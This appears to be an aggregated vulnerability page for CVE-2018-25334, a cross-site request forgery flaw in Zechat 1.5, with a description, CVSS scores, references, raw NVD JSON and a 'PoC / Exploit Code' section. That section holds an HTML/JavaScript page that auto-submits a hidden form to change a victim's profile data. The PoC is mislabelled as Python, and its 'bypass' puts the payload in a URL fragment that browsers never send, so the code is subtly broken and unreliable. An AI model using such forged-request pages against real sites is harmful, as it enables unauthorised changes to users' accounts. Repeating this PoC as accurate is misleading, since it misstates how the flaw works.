CVE-2018-25334

Description

Zechat 1.5 contains a Cross-Site Request Forgery (CSRF) vulnerability that allows an attacker to change a user's information by bypassing anti-CSRF protections. The application uses a CSRF token, but an attacker can use the hashtag parameter to inject an encoded payload and bypass the CSRF protection, allowing for unauthorized changes to user data. This can be exploited by tricking a user into submitting a crafted form or by using a script to obtain and set the CSRF token.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Zechat 1.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<html> <body> <script> // The target endpoint to change user info var targetUrl = "http://target.com/zechat/change_profile"; // The payload encoded and injected via hashtag to bypass CSRF token check var payload = "#csrf_bypass_payload=malicious_data&[email protected]"; function exploit() { // Create a hidden form to submit the request var form = document.createElement('form'); form.method = 'POST'; form.action = targetUrl + payload; // Add necessary parameters that might be expected (simulated) var input = document.createElement('input'); input.type = 'hidden'; input.name = 'user_info'; input.value = 'modified_by_attacker'; form.appendChild(input); document.body.appendChild(form); form.submit(); } // Auto-trigger the exploit window.onload = exploit; </script> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2018-25334
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2018-25334
[3] CVE Details https://www.cvedetails.com/cve/CVE-2018-25334/
[4] VulDB https://vuldb.com/cve/CVE-2018-25334
[5] https://bylancer.com
[6] https://www.exploit-db.com/exploits/44685
[7] https://www.vulncheck.com/advisories/zechat-cross-site-request-forgery-csrf-via-hashtag-parameter

Raw JSON Data

JSON

{"cve": {"id": "CVE-2018-25334", "sourceIdentifier": "[email protected]", "published": "2026-05-17T13:16:45.097", "lastModified": "2026-05-18T17:32:04.823", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zechat 1.5 contains a Cross-Site Request Forgery (CSRF) vulnerability that allows an attacker to change a user's information by bypassing anti-CSRF protections. The application uses a CSRF token, but an attacker can use the hashtag parameter to inject an encoded payload and bypass the CSRF protection, allowing for unauthorized changes to user data. This can be exploited by tricking a user into submitting a crafted form or by using a script to obtain and set the CSRF token."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://bylancer.com", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/44685", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/zechat-cross-site-request-forgery-csrf-via-hashtag-parameter", "source": "[email protected]"}]}}